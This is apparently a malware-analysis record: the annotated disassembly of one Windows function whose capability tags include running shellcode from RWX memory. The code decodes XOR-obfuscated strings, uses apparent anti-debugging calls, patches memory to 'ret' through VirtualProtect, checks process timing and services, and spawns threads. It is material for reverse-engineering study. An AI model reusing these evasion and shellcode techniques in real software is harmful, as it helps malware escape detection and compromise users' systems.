Function at 0x593a20
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Query service status
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
mov eax, dword [0x6cdf60]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x64], 0
mov ecx, 0xe1
xor edx, edx
mov al, byte [edx + 0x696500]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x100], al
and ecx, 0x800000ff
jns 0x593a61
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x18
jl 0x593a41
push ebx
push esi
mov eax, 0x69651c
mov byte [ebp - 0xe8], 0
push edi
sub eax, 0x4680168
lea ecx, [ebp - 0xc4]
push eax
call fcn.00597d90
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x100]
push ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 4
lea ecx, [ebp - 0x64]
mov word [ebp - 0xbc], 0
push ecx
xorps xmm0, xmm0
mov byte [ebp - 0xe8], 0
push 9
push 0xfffffffffffffffe
movq qword [ebp - 0xc4], xmm0
movdqu xmmword [ebp - 0x100], xmm0
movq qword [ebp - 0xf0], xmm0
call eax
mov edi, dword [ebp - 0x64]
mov dword [ebp - 0x70], edi
cmp edi, 0x40000
je 0x594204
jmp 0x593b51
mov ecx, 0x8e
xor edx, edx
jmp 0x593b60
mov al, byte [edx + 0x696550]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xa0], al
and ecx, 0x800000ff
jns 0x593b80
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x16
jl 0x593b60
mov eax, 0x696568
mov byte [ebp - 0x8a], 0
sub eax, 0x1c1a80b4
lea ecx, [ebp - 0xb8]
push eax
call fcn.00597e10
lea ecx, [ebp - 0xa0]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xb0], 0
movq qword [ebp - 0xb8], xmm0
movdqu xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov word [ebp - 0x8c], 0
mov byte [ebp - 0x8a], 0
jmp 0x593c4c
push 0
push 0
push 0x11
push 0xfffffffffffffffe
call eax
jmp 0x593cbc
push 0x30
lea eax, [ebp - 0x144]
push 0
push eax
call fcn.005c3c50
mov ebx, dword [ebp - 0x130]
add esp, 0xc
test ebx, ebx
jne 0x593ced
mov eax, dword fs:[0x18]
mov edi, dword [ebp - 0x64]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
jmp 0x593cf3
mov eax, dword [ebp - 0x140]
movdqu xmm1, xmmword [eax + 8]
movdqu xmm0, xmmword [eax - 8]
psrldq xmm1, 8
movdqu xmmword [ebp - 0x148], xmm0
movdqu xmm0, xmmword [eax + 0x18]
mov eax, dword [eax + 0x28]
movd ebx, xmm1
movdqu xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], eax
test ebx, ebx
je 0x593d7e
mov ecx, dword [ebx + 0x3c]
xor esi, esi
movzx eax, word [ecx + ebx + 6]
movzx edx, word [ecx + ebx + 0x14]
mov dword [ebp - 0x68], eax
test eax, eax
je 0x593cd5
lea eax, [ecx + 0x24]
mov ecx, dword [ebp - 0x68]
add eax, ebx
add eax, edx
jmp 0x593d50
test dword [eax + 0x18], 0x20000000
je 0x593d71
mov edx, dword [eax]
add edx, ebx
cmp edx, edi
ja 0x593d71
mov ecx, dword [eax - 4]
add ecx, edx
cmp edi, ecx
jb 0x5941f8
mov ecx, dword [ebp - 0x68]
inc esi
add eax, 0x28
cmp esi, ecx
jb 0x593d50
jmp 0x593cd5
jmp 0x593de4
jmp 0x593e4a
jmp 0x593eb0
jmp 0x593f16
mov ecx, 0x99
xor edx, edx
lea ecx, [ecx]
mov al, byte [edx + 0x696530]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x114], al
and ecx, 0x800000ff
jns 0x593f40
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x10
jl 0x593f20
lea eax, [ebp - 0x114]
mov byte [ebp - 0x104], 0
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
test eax, eax
jne 0x5941f8
jmp 0x593fcf
jmp 0x594035
jmp 0x59409b
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0xc]
push eax
push 0x40
push 4
push edi
call esi
test eax, eax
je 0x594192
jmp 0x59411a
mov eax, dword [ebp - 0x70]
mov byte [eax], 0xc3
jmp 0x594186
lea ecx, [ebp - 0xc]
push ecx
push dword [ebp - 0xc]
push 4
push eax
call esi
jmp 0x5941f8
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [0x890a8c]
lea edx, [ebp - 0x6b]
push dword [0x890a88]
mov dword [ebp - 0x6c], eax
lea ecx, [ebp - 0x6c]
lea eax, [ebp - 0x69]
push eax
lea eax, [ebp - 0x6a]
push eax
call fcn.0058bdf0
add esp, 0xc
cmp byte [ebp - 0x6c], 0
jne 0x594375
jmp 0x594298
mov ecx, 0x36
xor edx, edx
nop
mov al, byte [edx + str.dCTx_jX_K_3]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xe4], al
and ecx, 0x800000ff
jns 0x5942c0
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x1e
jl 0x5942a0
mov eax, 0x696680
mov byte [ebp - 0xc6], 0
sub eax, 0x660068cd
lea ecx, [ebp - 0xac]
push eax
call fcn.005981f0
lea ecx, [ebp - 0xe4]
push ecx
push eax
call ebx
push eax
call esi
xorps xmm0, xmm0
mov word [ebp - 0xa4], 0
push 0x593630
push 1
movq qword [ebp - 0xac], xmm0
movdqu xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xcc], 0
movq qword [ebp - 0xd4], xmm0
mov word [ebp - 0xc8], 0
mov byte [ebp - 0xc6], 0
call eax
push 0
push 0
push 0
push 0x590fc0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push dword [0x890a88]
mov edx, 0x890a8d
mov byte [0x890a8c], 1
push 0x890a8f
push 0x890a8e
mov ecx, 0x890a8c
call fcn.0058c120
add esp, 0xc
jmp 0x5943db
call 0x590f50
jmp 0x594446
mov eax, dword [0x890a7c]
lea edx, [ebp - 0x67]
push dword [0x890a78]
mov dword [ebp - 0x68], eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x65]
push eax
lea eax, [ebp - 0x66]
push eax
call fcn.0058bdf0
add esp, 0xc
cmp byte [ebp - 0x68], 0
jne 0x5948fa
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x5944e0
jmp 0x594546
lea ecx, [ebp - 0x24]
push ecx
push ecx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
jmp 0x5945c0
mov ebx, dword [ebp - 0x18]
xor eax, eax
or eax, dword [ebp - 0x1c]
mov dword [ebp - 0x70], eax
jmp 0x594631
jmp 0x594697
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x594707
jmp 0x59476d
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
jmp 0x5947e1
mov eax, dword [ebp - 0x10]
xor ecx, ecx
or ecx, dword [ebp - 0x14]
jmp 0x59484f
jmp 0x5948b5
push 0
push 0x2710
push eax
push ecx
call fcn.005c69d0
push 0
push 0x2710
push ebx
push dword [ebp - 0x70]
mov edi, eax
mov esi, edx
call fcn.005c69d0
sub edi, eax
push 0
push 0x3e8
sbb esi, edx
push esi
push edi
call fcn.005c69d0
test edx, edx
jne 0x5949f5
cmp eax, 3
ja 0x5949f5
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x5949e2
mov edx, 0xbd
xor esi, esi
lea ebx, [ebx]
mov cl, byte [esi + 0x696480]
xor cl, dl
inc edx
mov byte [ebp + esi - 0x88], cl
and edx, 0x800000ff
jns 0x594940
dec edx
or edx, 0xffffff00
inc edx
inc esi
cmp esi, 0xd
jl 0x594920
mov esi, dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea eax, [ebp - 0x88]
push 0xf003f
push eax
push edi
mov byte [ebp - 0x7b], 0
call esi
mov dword [ebp - 0x80], 0
xorps xmm0, xmm0
movq qword [ebp - 0x88], xmm0
mov word [ebp - 0x7c], 0
test eax, eax
je 0x5949e2
mov ebx, dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
lea ecx, [ebp - 8]
push ecx
push 0x24
lea ecx, [ebp - 0x60]
mov dword [ebp - 8], 0
push ecx
push 0
push eax
call ebx
test eax, eax
je 0x5949e2
cmp dword [ebp - 0x5c], 4
je 0x594a10
push 0xf003f
push 0x5a5ec187
lea ecx, [ebp - 0x78]
call fcn.00597b60
push eax
push edi
call esi
mov esi, eax
xor eax, eax
mov dword [ebp - 0x78], eax
mov word [ebp - 0x74], ax
mov byte [ebp - 0x72], al
test esi, esi
je 0x5949e2
lea eax, [ebp - 8]
push eax
push 0x24
lea eax, [ebp - 0x60]
push eax
push 0
push esi
call ebx
test eax, eax
je 0x5949e2
cmp dword [ebp - 0x5c], 4
je 0x594a04
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005bf536
mov esp, ebp
pop ebp
ret 0xc
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005c1bd2
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call fcn.005c1bd2
int3